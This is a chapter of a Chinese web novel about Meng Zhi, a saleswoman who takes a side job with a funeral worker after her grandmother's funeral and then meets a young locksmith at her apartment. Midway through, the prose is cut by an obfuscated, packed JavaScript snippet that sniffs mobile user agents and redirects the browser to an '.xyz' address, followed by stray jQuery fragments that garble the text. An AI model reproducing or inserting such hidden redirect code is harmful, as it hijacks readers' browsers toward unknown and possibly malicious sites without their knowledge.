无论天气多么晴朗，一走进墓园的大门，周围立刻变得阴冷起来。几座小办公楼投下的阴影就像一片湿润的玻璃罩，将明亮的阳光隔绝在外。
孟至坐在墓园的凉亭里，看着眼前来往的人群。亭外绿树环绕，色调苍翠浓郁，十分森然。几只仙鹤雕塑单腿立在草丛中，象征着逝者驾鹤西去，已登极乐，在她看来这雕塑款式比较一般，不太庄重。
姥姥的葬礼已经结束。一位丧葬师傅带着他们从头到尾跑流程，此刻他正忙着从斜挎兜里掏出一瓶白酒，倒在每个人的手上，大家胡乱搓了一把。接着是分饼干，每人一片太平牌苏打饼。最后，孟至被分配了一根布条，在师傅的指点下挂到树枝上，一切都结束了。
孟至对这位中年矮胖男子说：“谢谢了，大哥，要是没你帮着跑，我们自己都蒙了。”
在生命的最后几年里，孟至的姥姥住在本地一家大型养老产业园区，一室户套间，设施相当完善。园区自带医院，老人后期一直病重住院，直到某日凌晨两点，医护人员发现老人过世。这位丧葬师傅，就是养老院那边协助联系的。
师傅夜里出车抵达现场，前来拯救茫然无措的家属。开具死亡证明，换衣净容，起灵装车，运至墓园，办理冷藏手续，开光祝祷，到今天出殡，每个环节都由他一手帮办。
此刻收到孟至的致谢，那师傅摆着手，庄严地说：“这就是我们丧葬工作者的职责。”说完，还微微闭眼点头。
在他身后，孟至的二姨姥在追忆往昔峥嵘岁月，又强烈暗示孟至的母亲忙于工作，没有亲手照料老人。
刘校长升为重点中学的一把手以后，日程排得密不透风，今天出席告别仪式时，手机还不停地响铃。她费了半天口舌，跟自己二姨解释，语调激昂，如同对全校职工训话。但双方鸡同鸭讲，局势十分焦灼，本就焦头烂额的刘校长益发力不从心。
丧葬师傅适时地过来对刘校长说：“大姐，你该忙啥忙啥。”他又看了看孟至身后的朴素沉默大爷，用一种温柔而深沉的语气说：“这位是大姐的司机吧？快送大姐回单位去吧。”
朴素大爷搓着手，谦卑地说：“也不全是，我是她爱人，孩子她爸。”
“……”师傅立刻改口，“大姐夫啊。”
老孟虚扶着刘校长的手臂走远了，人群也鸡飞狗跳地散去。办妥所有事宜后，孟至又在墓园坐了一会儿。
八月中旬，立秋已过，黑土地进入秋天，夜里要盖棉被睡觉，和南方截然不同。几天前，她还在珠三角扮演职场精英形象，接到家里的电话后，当天飞回老家，一身标签好像都留在了云层中。她的名字是姥姥起的，取的是“一梦至长安”的寓意，又象征着虽远必至，意蕴无穷。
如今祖父母辈四个老人都不在了。孟至想起小时候姥爷对她说，如果老一辈全都去世了，父母头顶上就没人了，就像一棵白菜，外面的老白菜帮剥落，露出里面的芯。
她突然感到心惊胆战。接着她掏出手机，向团队长发出通知，宣布自己要辞职回到C市，之后会回去办妥手续。
孟至在珠三角念的大学，毕业后进了当地一家外资寿险，干了几年保险销售。起初她拿着团队分给她的孤儿单，后来出入各种沙龙活动招揽新客。每逢校友会举办活动，孟至也会翩然而至，挨个添加微信。她像开疆拓土一样扩建着统治区，她的保单越卖越多。
她有一头茂密的长发，染成深酒红色，烫过之后反复修剪了几次，波浪卷弧度自然，非常舒展。每次她去总部职场时，总会到工区转一圈，带着懒洋洋的迷人微笑，跟内勤同事闲聊几句，这一头红色卷发是她的经典标志，离很远就能看到。
大家看见远处漂浮着一头红发时，不但不会吓得逃跑，反而喜欢凑过来聊天。孟至虽然做销售，但从不主动催同事买保险。别人向她咨询，她就用大白话如实解释合同条款和利益演示，别人不问，她也不会拐弯抹角地提。有时听说谁有麻烦事，她还会顺手帮点小忙。
另一个销售也偶尔去内勤区晃悠，这人作风奔放，过于热情，有时人家还在开会，她就把人抓走了，说要给人介绍对象，把周围一圈人看得眼睛都直了。孟至此后更加注重分寸，以文火慢炖的形式吸引潜在客户。
现在将要回到老家谋生，个险代理人不能异地展业，从前的客户资源都留在了珠三角。然而，从十八岁离家到现在，老家竟已没有任何朋友，更没有熟悉的校友圈子。想到一切要从头再来，或许还要依靠家里的人脉，孟至忽然心灰意冷，浑身的力气都被抽走了。
她极目远眺，突然一筹莫展。回到老家似乎是一场放逐与流浪，她无法对老家的生活提起任何兴致。她需要尽快找一份临时工作，还需要重新认识这个城市。
左看右看，孟至看中了丧葬师傅的背影。她听见自己的心在说：管他呢，瞎搞吧。
她走上前去，拍了拍师傅的肩膀：“哥，我想打听一下，你还招助理不？”
这大哥往后一仰：“我这就是个体户，要啥助理？再说我有个合伙人，就是开车运送遗体的那个司机，他是我小舅子。”
孟至继续说：“我看你忙起来要同时跑好几家的手续，不知缺不缺帮手？要不我来你这儿实习吧。”
师傅迷惑地挠着后脑勺，仔细看了一眼孟至：“你这丫头，长得还挺俊，愿意在火葬场里跑？”
孟至动之以理：“师傅，你要是哪天忙不过来，可以叫我跑腿，平时我不来。我直接挂个咸鱼链接，咱们按次下单。”
师傅显然被这种互不捆绑的合作模式打动了，他今天跑得晕头转向，差点把一家的骨灰交给另一家，几乎令两家认错祖宗。他沉吟片刻，说：“去养老院拉逝者，这活得24小时待命，还是我跟我小舅子来吧。”
孟至心中一清二楚，这是怕她跟养老院联系密切，将来私自截取客源。于是她主动避嫌：“没问题，还有墓园这边的火化申请，可能也得你们去对接，我谁都不认识呀。”
果然，师傅痛快答应了：“嗯呐嗯呐。”
约定初步达成，师傅告诉孟至，她的作业范围就在墓园里，此岗位是纯白班，和事业单位一个作息。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419247|184753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
老孟的电话打了进来，问孟至今天几点回家。他在电话里唠唠叨叨地说：“我一会儿开始做饭，你妈得今晚八点半能到家。”那语气就像是女霸总的小娇夫。
孟至想自己静一会儿，就说：“爸，我还是回我自己的公寓住吧。再说我约了换锁师傅，今天下午过来安电子锁。”
老孟似乎欲言又止：“那你回吧。”
孟至搭乘地铁，换两趟线，共计十几站后下车。她走过一片绿树花园，回到自己那套小公寓，一进门差点晕厥，这才明白老孟为何方才语气犹疑。
只见客厅里异彩纷呈，一个硕大的皇冠型长条靠枕横亘在地上，色彩粉嫩，占据了快一面墙的长度。靠枕下面铺着一张阿拉伯还是波斯风格的地毯，红色暗花，图腾复杂，款式老旧。该组合十分另类，土不土洋不洋，就像一铺大炕。
孟至又进卧室看了一眼，里面摆着木头柜子和桌子，都是当年请木匠手打的，个个豁牙漏齿，年纪比孟至还大。她头疼地抽了一口气，知道这又是刘校长的杰作，把她的公寓当成怀旧仓库了。那些歪瓜裂枣的家具让她想起老一辈。尘埃落定，葬礼的阴森气息环绕上来，孟至蹲在地上掉了几滴眼泪。
正当她哭得投入时，手机突然进了一条短信，说换锁的方师傅正在来的路上，请客户注意接听电话。接着果然电话来了。
留在老家的年轻人已经不多，孟至幻想出一个精神矍铄的开锁大爷的形象，类似小区里修房顶的物业师傅。孟至摁下接听键，深呼吸两次，猛然开嗓，声音稳健而充满敬意：“喂，师傅，我现在就下来接您。”
想不到电话那头的声音十分年轻：“你好，我开进小区了，正在跟着导航找你的楼，是十栋吧？”
孟至听着耳边低沉温柔的声音，心想这换锁师傅的声音还挺嫩，不知干活手艺行不行？她从地上爬起来，对着电话大声说：“没事师傅，小区车道是单行的，我下来迎迎你。”
那边却说：“没事，你不用下来接我了，我们加个微信，我开摄像头照一下路线，你看看对不对。”听那意思是非常贴心，不让客户受累下楼。
孟至没再坚持，一键通过好友申请。视频连线后，孟至的镜头对着地板。那边打开后置摄像头，一辆车的中控台出现在画面中。接着镜头上移，照着车前的路，两边的楼看起来大同小异。孟至辨认了一会儿，尴尬地说：“不好意思，太久没回家，认不出这是哪段路了。”
“没事，那咱们开一下实时位置共享就行了。”
共享定位后，仍旧不见师傅上楼，孟至只能出门迎接。她对着穿衣镜拢了一把头发，镜子里倒映出一个高挑的身影，红眼睛，红鼻头，与红色长发相映成趣。但那张脸看起来面容姣好，就像不小心安在了一身葬礼服饰上。
她把手臂上的孝子袖章摘下来，往鞋柜上一扔，无精打采地拉开门。
门外立着一个庞然大物，挡住了她的视线。那东西投下来的阴影，把她整个覆盖了。她疑惑地抬起头，发现眼前站着一个异常俊美的年轻男孩，正低头看向她。